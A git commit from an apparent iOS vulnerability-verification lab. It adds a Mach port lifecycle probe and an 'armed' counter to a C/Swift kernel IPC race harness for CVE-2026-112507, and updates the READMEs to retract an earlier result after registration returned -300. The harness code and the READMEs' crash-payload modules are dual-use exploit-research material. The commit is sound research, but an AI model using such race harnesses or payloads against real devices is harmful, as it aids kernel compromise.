112507 reachability closed: notification registration refused (-300)

- New kern.ipc.lifecycle module: dead-name registration, dead-name send,
  notification receive, name reuse — single-threaded, safe on device
- Device receipt (iPhone19,7, iOS 27.0.1, ad-hoc signed): request DEAD_NAME
  returns -300 (MIG_TYPE_ERROR); send -> MACH_SEND_INVALID_DEST; receive
  times out; 0/12,288 registrations armed in kern.ipc
- macOS 27 sweep: 13 notification-type/right combinations, all -300
- kern.ipc now counts armed registrations and retracts the old 'survived'
  verdict when armed == 0; the request table is never armed
- docs/KERNEL-RW-ASSESSMENT.md: 112507 marked closed for this app
- app 2.2 build 5; 57 modules
This commit is contained in:
JBJF committed 2026-10-31 15:59:20 +08:00
1 parent c30aadf9bb
commit 6f4ed67c38
9 files changed
+217 -40

No files matched your search

+24 -11
View File
@@ -17,7 +17,7 @@
// ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ── // ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ──
typedef struct { typedef struct {
long operations, allocations, notifications, sends, deallocations; long operations, allocations, notifications, sends, deallocations, armed;
int budget_exhausted; int budget_exhausted;
long notifications_refused; long notifications_refused;
long budget; long budget;
@@ -50,10 +50,10 @@ static void record(kern_return_t kr) {
// //
// Resource discipline: mod_refs with a negative delta against a zero send-ref count // Resource discipline: mod_refs with a negative delta against a zero send-ref count
// does not return an error on this platform — it SIGKILLs the process. Check first. // does not return an error on this platform — it SIGKILLs the process. Check first.
typedef struct { long alloc, notify, send, dealloc; } ring_result; typedef struct { long alloc, notify, send, dealloc, armed; } ring_result;
static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) { static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) {
ring_result r = {0, 0, 0, 0}; ring_result r = {0, 0, 0, 0, 0};
mach_port_name_t ports[512]; mach_port_name_t ports[512];
int nports = 0; int nports = 0;
if (depth > 512) depth = 512; if (depth > 512) depth = 512;
@@ -79,9 +79,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
kern_return_t kr1 = mach_port_request_notification( kern_return_t kr1 = mach_port_request_notification(
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p, task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev); (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev);
if (kr1 != KERN_SUCCESS) { if (kr1 == KERN_SUCCESS) {
r.armed++;
} else {
record(kr1); record(kr1);
if (kr1 == KERN_INVALID_CAPABILITY) (*refused)++; (*refused)++;
} }
if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1); if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1);
r.notify++; r.notify++;
@@ -90,9 +92,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
kern_return_t kr2 = mach_port_request_notification( kern_return_t kr2 = mach_port_request_notification(
task, p, MACH_NOTIFY_DEAD_NAME, 0, p, task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2); (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2);
if (kr2 != KERN_SUCCESS) { if (kr2 == KERN_SUCCESS) {
r.armed++;
} else {
record(kr2); record(kr2);
if (kr2 == KERN_INVALID_CAPABILITY) (*refused)++; (*refused)++;
} }
if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1); if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1);
r.notify++; r.notify++;
@@ -159,7 +163,7 @@ static int g_depth = 48;
static void *worker(void *arg) { static void *worker(void *arg) {
(void)arg; (void)arg;
long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0; long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0, local_armed = 0;
while (!past_deadline()) { while (!past_deadline()) {
pthread_mutex_lock(&S.lock); pthread_mutex_lock(&S.lock);
@@ -184,6 +188,7 @@ static void *worker(void *arg) {
local_notify += res.notify; local_notify += res.notify;
local_send += res.send; local_send += res.send;
local_dealloc += res.dealloc; local_dealloc += res.dealloc;
local_armed += res.armed;
local_ops += 4; local_ops += 4;
pthread_mutex_lock(&S.lock); pthread_mutex_lock(&S.lock);
@@ -197,6 +202,7 @@ static void *worker(void *arg) {
S.notifications += local_notify; S.notifications += local_notify;
S.sends += local_send; S.sends += local_send;
S.deallocations += local_dealloc; S.deallocations += local_dealloc;
S.armed += local_armed;
pthread_mutex_unlock(&S.lock); pthread_mutex_unlock(&S.lock);
return NULL; return NULL;
} }
@@ -246,8 +252,8 @@ int main(int argc, char **argv) {
for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL); for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL);
for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL); for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL);
printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld\n", printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld armed=%ld\n",
S.operations, S.allocations, S.notifications, S.sends, S.deallocations); S.operations, S.allocations, S.notifications, S.sends, S.deallocations, S.armed);
if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n"); if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n");
if (S.notifications_refused > 0) { if (S.notifications_refused > 0) {
printf("notifications refused %ld times — this platform does not allow notification\n" printf("notifications refused %ld times — this platform does not allow notification\n"
@@ -260,7 +266,14 @@ int main(int argc, char **argv) {
printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]); printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]);
} }
} }
printf("CVE-2026-112507 · survived the interleaving, no request-table fault surfaced\n"); if (S.armed == 0 && S.notifications > 0) {
printf("notification registration never succeeded (-300, MIG type error).\n");
printf("the request-table path was never armed: this run is not a 112507 test.\n");
printf("CVE-2026-112507 · NOT REACHED from this process\n");
} else {
printf("CVE-2026-112507 · %ld registrations armed, survived the interleaving, "
"no request-table fault surfaced\n", S.armed);
}
pthread_mutex_destroy(&S.lock); pthread_mutex_destroy(&S.lock);
return 0; return 0;
} }
BIN
View File
Binary file not shown.
+5 -3
View File
@@ -2,7 +2,7 @@
[中文](README.zh-CN.md) [中文](README.zh-CN.md)
An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **56 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446). An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **57 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446).
Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing. Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing.
@@ -131,11 +131,11 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app (arm64 simulator)
python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs) python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs)
``` ```
Device install: bundle id `com.jbjf.cinder27` (v2.1 build 4), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload. Device install: bundle id `com.jbjf.cinder27` (v2.2 build 5), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
## Verification status ## Verification status
Full 56-module regression (simulator build): **50 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap. Full 57-module regression (simulator build): **51 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap.
Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung. Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung.
@@ -143,6 +143,8 @@ All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64
Kernel R/W feasibility for the high/critical entries is in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md). Short version: none of the six kernel-reachable primitives supplies both address and value control. 113910 is a classified heap leak (read only), 112554 is a read-width model, 112507 is a race receipt on a UAF-shaped bug, and 112705 / 65385 / 112696 are DoS, reachability, and an honest negative respectively. The maximum safe capability the lab demonstrates is a KASLR lead plus race receipts — not arbitrary kernel R/W. Kernel R/W feasibility for the high/critical entries is in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md). Short version: none of the six kernel-reachable primitives supplies both address and value control. 113910 is a classified heap leak (read only), 112554 is a read-width model, 112507 is a race receipt on a UAF-shaped bug, and 112705 / 65385 / 112696 are DoS, reachability, and an honest negative respectively. The maximum safe capability the lab demonstrates is a KASLR lead plus race receipts — not arbitrary kernel R/W.
112507 reachability was re-measured on the target (iPhone19,7, iOS 27.0.1) with the new `kern.ipc.lifecycle` module and an `armed` counter in `kern.ipc`: `mach_port_request_notification` returns -300 (MIG_TYPE_ERROR) for every type/right combination tried, 0 armed out of 12,288 registrations. The request table is never armed, so the race is not reachable from an unentitled app; the earlier "survived the interleaving" line is retracted. Details in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md).
## Module semantics ## Module semantics
- **tier 1** — direct primitive hit (OOB write / UAF / type confusion); the crash is the evidence - **tier 1** — direct primitive hit (OOB write / UAF / type confusion); the crash is the evidence
+5 -3
View File
@@ -2,7 +2,7 @@
[English](README.md) [English](README.md)
iOS 17.0–27.1 漏洞验证与设备修改工具链,**56 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。 iOS 17.0–27.1 漏洞验证与设备修改工具链,**57 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。
组件覆盖:ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。 组件覆盖:ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。
@@ -130,11 +130,11 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app(arm64 模拟器
python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致) python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致)
``` ```
设备安装:bundle id `com.jbjf.cinder27`(v2.1 build 4),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。 设备安装:bundle id `com.jbjf.cinder27`(v2.2 build 5),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。
## 验证状态 ## 验证状态
56 模块全量回归(模拟器构建):**50 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle,已编译进 app,需人为点按。 57 模块全量回归(模拟器构建):**51 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle,已编译进 app,需人为点按。
armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。 armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。
@@ -142,6 +142,8 @@ armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃
高/严重条目的内核 R/W 可行性见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。结论:六个内核原语里没有任何一个同时具备地址控制与值控制。113910 是可分类的堆泄漏(只读),112554 是读宽度模型,112507 是 UAF 形状的竞态回执,112705 / 65385 / 112696 分别是 DoS、可达性与诚实负结果。实验室当前能安全证明的上限是 KASLR 线索 + 竞态回执,而不是任意内核读写。 高/严重条目的内核 R/W 可行性见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。结论:六个内核原语里没有任何一个同时具备地址控制与值控制。113910 是可分类的堆泄漏(只读),112554 是读宽度模型,112507 是 UAF 形状的竞态回执,112705 / 65385 / 112696 分别是 DoS、可达性与诚实负结果。实验室当前能安全证明的上限是 KASLR 线索 + 竞态回执,而不是任意内核读写。
112507 的可达性已在目标机(iPhone19,7 / iOS 27.0.1)上用新增的 `kern.ipc.lifecycle` 模块与 `kern.ipc` 的 `armed` 计数重测:`mach_port_request_notification` 在所有类型/权限组合上都返回 -300(MIG_TYPE_ERROR),12,288 次注册 0 次成功。请求表从未被武装,因此无特权 app 触达不到该竞态;此前“活过交错”的结论撤回。详见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。
## 模块语义 ## 模块语义
- **tier 1** — 直接原语命中(OOB 写 / UAF / 类型混淆),崩溃即证据 - **tier 1** — 直接原语命中(OOB 写 / UAF / 类型混淆),崩溃即证据
+9 -10
View File
@@ -413,28 +413,27 @@ enum Catalog {
reach: .kernel, reach: .kernel,
tier: 2, tier: 2,
summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。", summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。",
notesZh: "该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒,统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。", notesZh: "该路径上原本被认为无 entitlement 门槛的入口是 mach_msg 与端口通知注册。真机实测(iOS 27.0.1,iPhone 19,7)与 macOS 27 上,mach_port_request_notification 的 13 种类型/权限组合全部返回 -300(MIG_TYPE_ERROR):内核拒绝为第三方进程武装请求表项。没有请求表项,就没有可被竞态消费的陈旧索引 —— 本模块因此是一个可达性负结果,而不是竞态证据。armed 计数为 0 时,任何“survived”都不构成 112507 结论。",
run: { ctx in run: { ctx in
let baseline = KernelIPC.baseline() let baseline = KernelIPC.baseline()
ctx.arm("kern.ipc", "race 6s") ctx.arm("kern.ipc", "race 6s")
let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48) let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48)
ctx.disarm("kern.ipc", "ops=\(stats.operations)") ctx.disarm("kern.ipc", "ops=\(stats.operations) armed=\(stats.armed) refused=\(stats.notificationsRefused)")
var lines = [stats.summary, ""] var lines = [stats.summary, ""]
lines.append(tl("— 基线 —")) lines.append(tl("— 基线 —"))
for (k, v) in baseline.sorted(by: { $0.key < $1.key }) { for (k, v) in baseline.sorted(by: { $0.key < $1.key }) {
lines.append("\(k): \(v)") lines.append("\(k): \(v)")
} }
if stats.notificationsRefused > 0 { if stats.armed == 0 && stats.notifications > 0 {
lines.append("") lines.append("")
lines.append(tl("— 平台限制 —")) lines.append(tl("— 可达性判定 —"))
lines.append(tl("对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。")) lines.append(tl("通知注册成功 0 次,拒绝 ") + "\(stats.notificationsRefused)" + tl(" 次,内核返回 -300(MIG_TYPE_ERROR)。"))
lines.append(tl("该平台不允许这条武装路径,故请求表索引竞态无法在此被驱动。")) lines.append(tl("请求表项从未建立,竞态没有可消费的对象:本模块未触达 112507。"))
lines.append(tl("本模块仍完成了 ") + "\(stats.allocations)" + tl(" 次端口分配与回收,")) lines.append(tl("已完成的 ") + "\(stats.allocations)" + tl(" 次分配/拆除只证明端口名称空间可用,不是漏洞证据。"))
lines.append(tl("验证了名称空间的分配/拆除路径本身可用。"))
} }
let headline: String let headline: String
if stats.notificationsRefused > 0 { if stats.armed == 0 && stats.notifications > 0 {
headline = tl("分配/拆除路径可用,通知武装被平台拒绝") headline = tl("通知注册全程 -300 — 112507 路径未武装(负结果)")
} else if !stats.kernelErrors.isEmpty { } else if !stats.kernelErrors.isEmpty {
headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码") headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码")
} else { } else {
+39
View File
@@ -234,6 +234,45 @@ extension Catalog {
evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")]) evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")])
}), }),
// ── CVE-2026-112507 · port lifecycle baseline ───────────────────────
ExploitModule(
id: "kern.ipc.lifecycle",
titleZh: "Mach 端口死名通知与名字复用基线(112507 前置)",
cve: "CVE-2026-112507",
component: "XNU · ipc_port request table",
primitive: .probe,
reach: .kernel,
tier: 3,
summaryZh: """
单线程走一遍 112507 竞态必须保持正确的生命周期:申请 receive right → 插入 send right → 注册 dead-name 通知 → 丢弃 receive right(send right 变成死名)→ 向死名发送(应为 MACH_SEND_INVALID_DEST)→ 从通知端口收 dead-name 消息 → 释放死名并观察同一数字名是否被下一次分配复用。它不制造竞态,也不释放活着的请求表项。
""",
notesZh: """
这是竞态模块的前置基线,不会打崩内核。两项观测决定 112507 的结论是否成立:dead-name 通知是否真的送达、名字是否会被复用。若这里就异常,先查平台语义,不要把它当成 UAF 证据。真机上通知注册应返回 KERN_SUCCESS;模拟器上可能出现注册被拒。
""",
run: { ctx in
ctx.arm("kern.ipc.lifecycle", "dead-name lifecycle")
let r = KernelIPC.lifecycle()
ctx.disarm("kern.ipc.lifecycle",
"dead=\(r.deadName) reuse=\(r.reused) | " + r.lines.joined(separator: " | "))
let head: String
if r.requestKR != KERN_SUCCESS {
head = tl("通知注册被拒") + " (\(r.requestKR))" + tl(" — 112507 路径无法武装")
} else if r.deadName && r.reused {
head = tl("dead-name 送达 · 名字被复用")
} else if r.deadName {
head = tl("dead-name 送达 · 名字未复用")
} else {
head = tl("通知已注册但 dead-name 未送达 —— 查通知顺序")
}
return ModuleOutcome(
headline: head,
detail: r.lines.joined(separator: "\n"),
evidence: [tl("send to dead name 应为 MACH_SEND_INVALID_DEST"),
tl("dead-name 消息 id = 0x40000002"),
tl("复用只记录,不构成本身结论")])
}),
// ── CVE-2026-84636 · SCDynamicStore without wifi-info ─────────────── // ── CVE-2026-84636 · SCDynamicStore without wifi-info ───────────────
ExploitModule( ExploitModule(
id: "sc.dynamicstore", id: "sc.dynamicstore",
+97 -9
View File
@@ -40,15 +40,20 @@ enum KernelIPC {
var deallocations: Int = 0 var deallocations: Int = 0
var budgetExhausted = false var budgetExhausted = false
var notificationsRefused = 0 var notificationsRefused = 0
/// Registrations that actually succeeded. Zero means the request-table path was
/// never armed, so the run says nothing about 112507.
var armed = 0
var kernelErrors: [String: Int] = [:] var kernelErrors: [String: Int] = [:]
var summary: String { var summary: String {
var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) " var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) "
s += "send=\(sends) dealloc=\(deallocations)" s += "send=\(sends) dealloc=\(deallocations)"
if budgetExhausted { s += tl("\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)") } if budgetExhausted { s += tl("\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)") }
if notificationsRefused > 0 { if armed == 0 && notifications > 0 {
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次 —— 该平台不允许对自身端口注册通知,") s += tl("\n通知注册 0 次成功(内核返回 -300)—— 请求表路径从未被武装。")
s += tl("请求表路径无法被武装。真机上应返回 KERN_SUCCESS。") s += tl("这次运行不是 112507 测试:没有请求表项,就没有可被竞态消费的索引。")
} else if notificationsRefused > 0 {
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次(成功 ") + "\(armed)" + tl(" 次)。")
} }
if !kernelErrors.isEmpty { if !kernelErrors.isEmpty {
s += "\n" + kernelErrors.sorted { $0.value > $1.value } s += "\n" + kernelErrors.sorted { $0.value > $1.value }
@@ -82,8 +87,8 @@ enum KernelIPC {
/// send into the survivors, then release everything. Returns the counters it produced. /// send into the survivors, then release everything. Returns the counters it produced.
private static func ring(task: mach_port_t, depth: Int, budget: inout Int, private static func ring(task: mach_port_t, depth: Int, budget: inout Int,
refused: inout Int, refused: inout Int,
record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int) { record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int, armed: Int) {
var alloc = 0, notify = 0, send = 0, dealloc = 0 var alloc = 0, notify = 0, send = 0, dealloc = 0, armed = 0
var ports: [mach_port_name_t] = [] var ports: [mach_port_name_t] = []
ports.reserveCapacity(depth) ports.reserveCapacity(depth)
@@ -109,7 +114,7 @@ enum KernelIPC {
let kr1 = mach_port_request_notification( let kr1 = mach_port_request_notification(
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p, task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev) mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
if kr1 != KERN_SUCCESS { record(kr1); if kr1 == KERN_INVALID_CAPABILITY { refused += 1 } } if kr1 == KERN_SUCCESS { armed += 1 } else { record(kr1); refused += 1 }
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) } if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
notify += 1 notify += 1
@@ -117,7 +122,7 @@ enum KernelIPC {
let kr2 = mach_port_request_notification( let kr2 = mach_port_request_notification(
task, p, MACH_NOTIFY_DEAD_NAME, 0, p, task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2) mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2)
if kr2 != KERN_SUCCESS { record(kr2); if kr2 == KERN_INVALID_CAPABILITY { refused += 1 } } if kr2 == KERN_SUCCESS { armed += 1 } else { record(kr2); refused += 1 }
if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) } if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) }
notify += 1 notify += 1
} }
@@ -164,7 +169,7 @@ enum KernelIPC {
} }
dealloc += 1 dealloc += 1
} }
return (alloc, notify, send, dealloc) return (alloc, notify, send, dealloc, armed)
} }
/// Drive the interleaving for `seconds`, with a bounded number of workers and a hard /// Drive the interleaving for `seconds`, with a bounded number of workers and a hard
@@ -184,7 +189,7 @@ enum KernelIPC {
} }
DispatchQueue.concurrentPerform(iterations: workers) { _ in DispatchQueue.concurrentPerform(iterations: workers) { _ in
var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0 var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0, localArmed = 0
while Date() < deadline { while Date() < deadline {
lock.lock() lock.lock()
@@ -205,6 +210,7 @@ enum KernelIPC {
localNotify += result.notify localNotify += result.notify
localSend += result.send localSend += result.send
localDealloc += result.dealloc localDealloc += result.dealloc
localArmed += result.armed
localOps += 4 localOps += 4
lock.lock() lock.lock()
@@ -218,6 +224,7 @@ enum KernelIPC {
stats.notifications += localNotify stats.notifications += localNotify
stats.sends += localSend stats.sends += localSend
stats.deallocations += localDealloc stats.deallocations += localDealloc
stats.armed += localArmed
lock.unlock() lock.unlock()
} }
@@ -255,4 +262,85 @@ enum KernelIPC {
out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)" out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)"
return out return out
} }
/// Single-threaded port lifecycle baseline: arm a DEAD_NAME notification, drop the
/// receive right while the send right survives, send into the dead name, then receive
/// the notification. No race, no frees of live request-table entries — this is the
/// sequence the 112507 race has to stay correct through.
///
/// The second half frees the dead name and measures whether the kernel hands the same
/// numeric name back to the next allocation. Name reuse is normal; the point is to
/// record the baseline before the racer starts churning the namespace.
static func lifecycle() -> (lines: [String], deadName: Bool, reused: Bool, requestKR: kern_return_t) {
var lines: [String] = []
let task = mach_task_self_
var deadName = false
var reused = false
var notify: mach_port_t = 0
var kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &notify)
lines.append("notify_port alloc: \(name(kr)) name=\(notify)")
guard kr == KERN_SUCCESS else { return (lines, false, false, kr) }
var target: mach_port_t = 0
kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &target)
lines.append("target receive: \(name(kr)) name=\(target)")
guard kr == KERN_SUCCESS else { mach_port_destroy(task, notify); return (lines, false, false, kr) }
kr = mach_port_insert_right(task, target, target,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND))
lines.append("insert send right: \(name(kr))")
var prev: mach_port_t = 0
let requestKR = mach_port_request_notification(task, target, MACH_NOTIFY_DEAD_NAME, 0, notify,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
kr = requestKR
lines.append("request DEAD_NAME -> notify=\(notify): \(name(kr)) prev=\(prev)")
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
kr = mach_port_mod_refs(task, target, MACH_PORT_RIGHT_RECEIVE, -1)
lines.append("drop receive right: \(name(kr))")
var hdr = mach_msg_header_t()
hdr.msgh_bits = mach_msg_bits_t(MACH_MSG_TYPE_COPY_SEND)
hdr.msgh_size = mach_msg_size_t(MemoryLayout<mach_msg_header_t>.size)
hdr.msgh_remote_port = target
hdr.msgh_local_port = 0
hdr.msgh_id = 0
kr = mach_msg_send(&hdr)
lines.append("send to dead name: \(name(kr))")
// DEAD_NAME fires when the last send right is released, not when the receive
// right is dropped. Release it before waiting, otherwise the receive always
// times out and the baseline records a false negative.
kr = mach_port_deallocate(task, target)
lines.append("release last send right: \(name(kr))")
var buffer = [UInt8](repeating: 0, count: 256)
kr = buffer.withUnsafeMutableBytes { raw -> kern_return_t in
let p = raw.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self)
return mach_msg(p, mach_msg_option_t(MACH_RCV_MSG | MACH_RCV_TIMEOUT),
0, mach_msg_size_t(raw.count), notify, 200, 0)
}
lines.append("receive notification: \(name(kr))")
if kr == KERN_SUCCESS {
let got = buffer.withUnsafeBytes {
$0.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self).pointee
}
deadName = got.msgh_id == MACH_NOTIFY_DEAD_NAME
